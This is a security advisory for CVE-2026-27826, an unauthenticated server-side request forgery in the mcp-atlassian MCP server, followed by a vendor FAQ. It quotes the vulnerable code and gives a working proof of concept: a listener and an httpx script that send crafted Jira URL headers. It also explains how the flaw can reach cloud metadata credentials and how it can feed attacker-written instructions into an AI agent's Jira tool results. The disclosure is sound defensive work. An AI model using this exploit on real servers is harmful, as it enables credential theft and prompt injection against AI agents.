CVE-2026-27826

An unauthenticated attacker who can reach the mcp-atlassian HTTP endpoint can force the server process to make outbound HTTP requests to an arbitrary attacker-controlled URL by supplying two custom HTTP headers without an Authorization header. No authentication is required. The vulnerability exists in the HTTP middleware and dependency injection layer, not in any MCP tool handler - making it invisible to tool-level code analysis. In cloud deployments, this could enable theft of IAM role credentials via the instance metadata endpoint (169.254.169.254). In any HTTP deployment it enables internal network reconnaissance and injection of attacker-controlled content into LLM tool results.

Details

The server supports a multi-tenant HTTP authentication mode where clients supply per-request Jira/Confluence URLs via custom headers. The middleware (src/mcp_atlassian/servers/main.py:436–448) extracts X-Atlassian-Jira-Url from the request and stores it in request state with no validation. The dependency provider (src/mcp_atlassian/servers/dependencies.py:189–217) then uses this value directly as the url= parameter when constructing a JiraConfig and JiraFetcher. The first method call on the fetcher (get_current_user_account_id()) immediately issues a GET request to {header_url}/rest/api/2/myself, an outbound SSRF call to the attacker-controlled URL.

No comparison is made against the server-configured JIRA_URL environment variable. No private IP range blocklist is applied. No URL scheme allowlist is enforced.

Trigger conditions, all four must hold:

1. Server running with --transport streamable-http or --transport sse
2. Request contains X-Atlassian-Jira-Url header (any non-empty value)
3. Request contains X-Atlassian-Jira-Personal-Token header (any non-empty value)
4. Request has no Authorization header

An identical vulnerability exists for Confluence at dependencies.py:341–393 via X-Atlassian-Confluence-Url +
X-Atlassian-Confluence-Personal-Token.

Root cause - middleware (src/mcp_atlassian/servers/main.py:436–448):

# When service headers are present and no Authorization header is provided,
# auth type is set to "pat" but user_atlassian_token is NOT set.
# This is what routes execution to the vulnerable path below.
if service_headers and (jira_token_str and jira_url_str):
    scope["state"]["user_atlassian_auth_type"] = "pat"

Root cause - dependency provider (src/mcp_atlassian/servers/dependencies.py:189–217):
if (
    user_auth_type == "pat"
    and jira_url_header           # attacker-controlled, no validation
    and jira_token_header
    and not hasattr(request.state, "user_atlassian_token")
):
    header_config = JiraConfig(
        url=jira_url_header,      # used directly, no allowlist check
        personal_token=jira_token_header,
        ...
    )
    header_jira_fetcher = JiraFetcher(config=header_config)
    header_jira_fetcher.get_current_user_account_id()
    # ^ GET {jira_url_header}/rest/api/2/myself, outbound SSRF call
    request.state.jira_fetcher = header_jira_fetcher  # cached for all tool calls this request


### PoC
Step 1 - Start a listener to capture the inbound SSRF request:

# listener.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, sys

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f"[SSRF RECEIVED] Path: {self.path}", file=sys.stderr)
        print(f"[SSRF RECEIVED] Headers: {dict(self.headers)}", file=sys.stderr)
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        if "myself" in self.path:
            self.wfile.write(json.dumps({
                "accountId": "ssrf-confirmed",
                "displayName": "SSRF PoC"
            }).encode())
        else:
            self.wfile.write(b"{}")
    def log_message(self, *args): pass

HTTPServer(("0.0.0.0", 8888), Handler).serve_forever()

Step 2 - Start mcp-atlassian in HTTP transport mode (placeholder credentials are sufficient, the vulnerable path is reached before any real Atlassian instance is contacted):

JIRA_URL=https://placeholder.atlassian.net \
JIRA_API_TOKEN=placeholder \
mcp-atlassian --transport streamable-http --port 8000

Step 3, Trigger the SSRF:

import httpx, json

MCP    = "http://localhost:8000/mcp"
ATTACK = "http://<listener-ip>:8888"

# Initialize MCP session
r = httpx.post(MCP, json={
    "jsonrpc": "2.0", "method": "initialize",
    "params": {"protocolVersion": "2024-11-05", "capabilities": {},
               "clientInfo": {"name": "poc", "version": "1.0"}},
    "id": 1
}, headers={
    "X-Atlassian-Jira-Url": ATTACK,
    "X-Atlassian-Jira-Personal-Token": "any-value",
    # No Authorization header, this is the key condition
})
sid = r.headers.get("mcp-session-id")

# Call any Jira tool, this triggers get_jira_fetcher() and the outbound SSRF call
httpx.post(MCP, json={
    "jsonrpc": "2.0", "method": "tools/call",
    "params": {"name": "jira_get_issue", "arguments": {"issue_key": "PROJ-1"}},
    "id": 2
}, headers={
    "X-Atlassian-Jira-Url": ATTACK,
    "X-Atlassian-Jira-Personal-Token": "any-value",
    "Mcp-Session-Id": sid,
})

The listener will receive GET /rest/api/2/myself originating from the MCP server process, confirming the SSRF.


### Impact
This vulnerability affects any deployment using `--transport streamable-http` or `--transport sse`. The default HOST=0.0.0.0 binding exposes the HTTP endpoint to any host on the same network without any configuration change, and to the internet when deployed on a cloud instance.

- Any HTTP deployment: The server acts as an SSRF proxy, enabling reconnaissance of internal services (databases, internal APIs, microservices)
not directly reachable from outside the network.
- AI agent sessions: Once the attacker-controlled fetcher is cached in request.state, all Jira tool responses for that session originate from the attacker's server. The attacker can return crafted API responses containing LLM instructions, injecting those instructions into the AI agent's context as if they were legitimate Jira data - a prompt injection channel at the data layer requiring no tool parameter manipulation.
- Cloud deployments: Any network-reachable attacker can potentially steal the server's IAM role credentials via the instance metadata service, gaining full access to all cloud resources that role permits.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-27826 has a CVSS score of 8.2 (High). The vector is reachable from an adjacent network, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.17.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-27826? CVE-2026-27826 is a high-severity server-side request forgery (SSRF) vulnerability in mcp-atlassian (pip), affecting versions < 0.17.0. It is fixed in 0.17.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2026-27826? CVE-2026-27826 has a CVSS score of 8.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of mcp-atlassian are affected by CVE-2026-27826? mcp-atlassian (pip) versions < 0.17.0 is affected.
4. Is there a fix for CVE-2026-27826? Yes. CVE-2026-27826 is fixed in 0.17.0. Upgrade to this version or later.
5. Is CVE-2026-27826 exploitable, and should I be worried? Whether CVE-2026-27826 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-27826 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-27826? Upgrade mcp-atlassian to 0.17.0 or later.